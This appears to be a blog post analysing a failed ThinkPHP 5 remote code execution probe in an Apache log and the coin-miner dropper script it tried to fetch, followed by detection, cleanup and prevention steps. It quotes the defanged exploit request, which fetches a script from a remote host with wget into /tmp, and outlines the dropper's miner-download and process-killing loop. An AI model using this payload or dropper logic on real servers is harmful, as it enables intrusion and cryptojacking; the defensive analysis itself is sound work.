Anatomy of a compromise: coin miners and the probe that missed
Not every entry in this series is a successful break-in. This one is a request in an Apache log in early 2019 that failed, and what I found when I pulled down the script it was trying to run. It is a good example of what the automated end of web attacks looks like, and of how a coin miner behaves once it is on a box.
The request
192.0.2.10 - - [01/Mar/2019:10:30:03 +0000] "GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget hxxp://198.51.100.20/... -O /tmp/a; chmod ... HTTP/1.1" 404 456 "-" "Mozilla/5.0 ..."
(Addresses changed, the URL defanged and the command shortened.)
This is the ThinkPHP 5 remote code execution disclosed in December 2018. ThinkPHP is a popular Chinese PHP framework. In unpatched 5.0.x and 5.1.x releases the s routing parameter could name any class and method, including the framework's own invokefunction helper, which will call any PHP function with any arguments. Here it calls call_user_func_array('system', [...]), so the shell runs:
wgeta shell script from a remote host to/tmp/a- make it executable
- run it
It was fixed in ThinkPHP 5.0.23 and 5.1.31.
Why it did nothing here
The response was a 404 and 456 bytes. The site was not running ThinkPHP, so the request hit the normal "not found" page and nothing executed. Bots spray this at every IP address with port 80 open; it costs them nothing to try.
The check is quick. Do you run the software the request is aimed at, and was the response anything other than your usual error page? If the answer to both is no, note it and move on. If you see a 200 with an unusual size against a framework you do run, treat the box as compromised.
What the dropper does
I fetched the script with curl, without running it, to see what it would have done. If you do the same, do it from a throwaway machine rather than a server you care about, and never execute what comes back. Its logic, in outline:
while true; do
crontab -r
[ -e /tmp/<miner> ] || wget hxxp://198.51.100.20/<miner> -O /tmp/<miner>
# fall back to a second host if the download came back empty
# start the miner if it is not already running
# kill any other process of this user that has used a lot of CPU time
sleep 120
done
Step by step:
crontab -rwipes the web user's crontab on every pass. That removes other attackers' persistence, and anything legitimate you had in there too.- Download with a fallback. If the first host fails or returns an empty file, it tries a second one.
- Start the miner if
psshows it is not running. The miner was a build of XMRig, the open source Monero miner, pointed at a pool on a non-standard port, with its CPU limit set to 99%. - Kill the competition. It lists every process belonging to the same user, skips its own, and
kill -9s anything that has used more than a set amount of CPU time. That is aimed at other miners, but on a web server the same user also owns the PHP workers, so busy ones get killed as well. - Every two minutes, forever, which also restarts the miner if you kill it but leave the loop running.
There is no privilege escalation in it. It runs as whatever user the web server runs as, which is enough to burn every CPU core.
Checking a server for this kind of miner
Look for processes run by the web user that are using CPU and are not your web server or PHP:
ps -eo user,pid,ppid,etime,pcpu,args --sort=-pcpu | head -20
ps -u www-data -o pid,etime,pcpu,args
Look for executables in the world-writable directories:
find /tmp /var/tmp /dev/shm -type f -perm -u+x -ls
Look for outbound connections from the web user to odd ports. Mining pools usually listen on high ports:
ss -tnp state established | grep -v -e ':80 ' -e ':443 '
Check every user's crontab, not just root's:
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/$u: /"; done
A miner process often has an innocent name, so judge by behaviour: sustained high CPU, owned by the web user, binary in /tmp, connection to a high port.
Cleaning up if one lands
- Kill the loop first, then the miner, or the loop restarts it within two minutes.
pstree -p www-datashows which is the parent. - Remove the files from
/tmp,/var/tmpand/dev/shm. - Rebuild any crontab you had, since the dropper deleted it.
- Find out how it got in. A miner is often the most visible thing on a box, not the only thing.
Prevention
- Keep frameworks patched. This hole was fixed within days of being disclosed.
- Mount
/tmp,/var/tmpand/dev/shmwithnoexec. It does not stop a determined attacker, but it breaks scripts like this one, which assume/tmpis executable. - Do not let the web server user make outbound connections it does not need. A host firewall rule that only allows the web user out to the services it uses (payment gateway, mail relay, package mirrors through a proxy) stops both the download and the pool connection.
- Remove
wgetandcurlfrom web-facing containers that do not need them. - Alert on sustained high CPU. A miner is one of the few attacks that announces itself on a graph.